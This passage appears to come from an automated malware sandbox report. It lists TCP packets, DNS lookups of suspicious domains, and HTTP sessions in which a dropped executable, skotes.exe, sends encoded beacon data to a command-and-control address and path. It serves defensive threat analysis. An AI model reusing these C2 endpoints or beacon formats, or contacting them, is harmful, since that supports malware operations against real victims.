Dec 19, 2024 03:09:49.088576078 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.088655949 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.090049028 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.090152979 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.090212107 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.091600895 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.091660023 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.091737986 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.092206955 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.093138933 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.093265057 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.093322992 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.094789982 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.094854116 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.094976902 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.095088959 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.096251011 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.096323967 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.096374989 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.096558094 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.097855091 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.097940922 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.098069906 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.098210096 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.099488974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.099617004 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.099623919 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.099922895 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.100936890 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.101039886 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.101062059 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.101380110 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.102483988 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.102629900 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.102737904 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.104082108 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.104163885 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.104170084 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.104229927 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.105794907 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.105849028 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.106049061 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.107151985 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.107286930 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.107371092 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.108724117 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.108822107 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.108843088 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.109134912 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.110281944 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.110414982 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.110471010 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.111908913 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.112030029 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.112106085 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.113399029 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.113547087 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.113605976 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.114964962 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.115055084 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.115159035 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.116559029 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.116633892 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.116683006 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.116683006 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.118072987 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.118130922 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.118206024 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.118274927 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.119640112 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.119755030 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.119759083 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.120137930 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.121197939 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.121296883 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.121328115 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.121413946 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.122726917 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.122872114 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.122931004 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.124353886 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.124435902 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.124475956 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.124510050 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.125884056 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.126060963 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.126074076 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.126164913 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.127458096 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.127599001 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.127640009 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.127672911 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.128968000 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.129074097 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.129118919 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.129213095 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.130531073 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.130588055 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.130678892 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.130744934 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.132107973 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.132236004 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.132280111 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.132281065 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.133639097 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.133752108 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.133812904 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.133865118 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.135194063 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.135385990 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.135581017 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.136774063 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.136837006 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.136910915 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.138039112 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.138329029 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.138437033 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.138453007 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.138531923 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.139854908 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.139909029 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.139997005 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.140074968 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.141459942 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.141531944 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.141570091 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.141760111 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.142988920 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.143121004 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.143182039 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.144598961 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.144668102 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.144876003 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.146199942 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.146351099 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.146534920 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.147676945 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.147800922 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.147861004 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.147892952 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.149296999 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.149348974 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.149404049 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.150787115 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.150938988 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.150954962 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.151004076 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.152364016 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.152559042 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.187129974 CET	49942	80	192.168.2.5	176.53.146.212
Dec 19, 2024 03:09:49.267657042 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.267714977 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.267765045 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.267765045 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.268331051 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.268455982 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.268466949 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.268548965 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.269407034 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.269515038 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.269567966 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.270960093 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.271023989 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.271281004 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.271342993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.272301912 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.272459984 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.272501945 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.272536993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.273575068 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.273710012 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.273749113 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.273782015 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.274938107 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.275046110 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.275083065 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.275115967 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.276308060 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.276453972 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.276509047 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.276509047 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.277667046 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.277786016 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.277812958 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.277906895 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.278999090 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.279108047 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.279373884 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.280476093 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.280529022 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.280565977 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.280597925 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.281800985 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.281938076 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.281945944 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.281987906 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.283128023 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.283186913 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.283262014 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.283411980 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.284468889 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.284524918 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.284569025 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.284756899 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.285891056 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.286007881 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.286072969 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.287204027 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.287256002 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.287360907 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.288022995 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.288554907 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.288610935 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.288695097 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.288746119 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.290026903 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.290080070 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.290092945 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.290127993 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.291385889 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.291526079 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.291549921 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.291702986 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.292701006 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.292762995 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.292846918 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.293246984 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.294203043 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.294258118 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.294329882 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.294385910 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.295453072 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.295594931 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.295595884 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.295658112 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.296828985 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.296928883 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.296987057 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.298118114 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.298177958 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.298223972 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.298275948 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.299537897 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.299598932 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.299653053 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.299822092 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.300846100 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.300945044 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.300949097 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.301101923 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.302179098 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.302233934 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.302304029 CET	80	49935	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:49.302500963 CET	49935	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:49.303591013 CET	80	49935	31.41.244.11	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 03:09:27.136234045 CET	192.168.2.5	1.1.1.1	0x5311	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:41.037092924 CET	192.168.2.5	1.1.1.1	0x707b	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:41.037192106 CET	192.168.2.5	1.1.1.1	0x6437	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 03:09:45.110769033 CET	192.168.2.5	1.1.1.1	0x925b	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:45.112582922 CET	192.168.2.5	1.1.1.1	0x930a	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 03:09:49.048095942 CET	192.168.2.5	1.1.1.1	0xfe39	Standard query (0)	home.fivetk5vt.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:49.048257113 CET	192.168.2.5	1.1.1.1	0x6ebd	Standard query (0)	home.fivetk5vt.top	28	IN (0x0001)	false
Dec 19, 2024 03:09:54.247941971 CET	192.168.2.5	1.1.1.1	0xbc59	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:57.083981037 CET	192.168.2.5	1.1.1.1	0x8b32	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:10:01.819047928 CET	192.168.2.5	1.1.1.1	0xa3f2	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 03:09:27.444528103 CET	1.1.1.1	192.168.2.5	0x5311	No error (0)	cheapptaxysu.click	104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:27.444528103 CET	1.1.1.1	192.168.2.5	0x5311	No error (0)	cheapptaxysu.click	172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:41.342518091 CET	1.1.1.1	192.168.2.5	0x707b	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:41.342518091 CET	1.1.1.1	192.168.2.5	0x707b	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:45.645808935 CET	1.1.1.1	192.168.2.5	0x925b	No error (0)	home.fivetk5vt.top	176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:49.185897112 CET	1.1.1.1	192.168.2.5	0xfe39	No error (0)	home.fivetk5vt.top	176.53.146.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:54.384958029 CET	1.1.1.1	192.168.2.5	0xbc59	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:57.222425938 CET	1.1.1.1	192.168.2.5	0x8b32	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:57.222425938 CET	1.1.1.1	192.168.2.5	0x8b32	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:57.222425938 CET	1.1.1.1	192.168.2.5	0x8b32	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:09:57.222425938 CET	1.1.1.1	192.168.2.5	0x8b32	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:10:02.218756914 CET	1.1.1.1	192.168.2.5	0xa3f2	No error (0)	aspecteirs.lat	104.21.66.85	A (IP address)	IN (0x0001)	false
Dec 19, 2024 03:10:02.218756914 CET	1.1.1.1	192.168.2.5	0xa3f2	No error (0)	aspecteirs.lat	172.67.157.253	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49819	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:04.103903055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 03:09:05.435736895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49829	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:07.060523987 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 19, 2024 03:09:08.434575081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 35 35 0d 0a 20 3c 63 3e 31 30 31 37 32 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 32 35 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 63 37 61 39 64 35 31 34 33 61 36 35 61 65 30 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 37 32 35 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 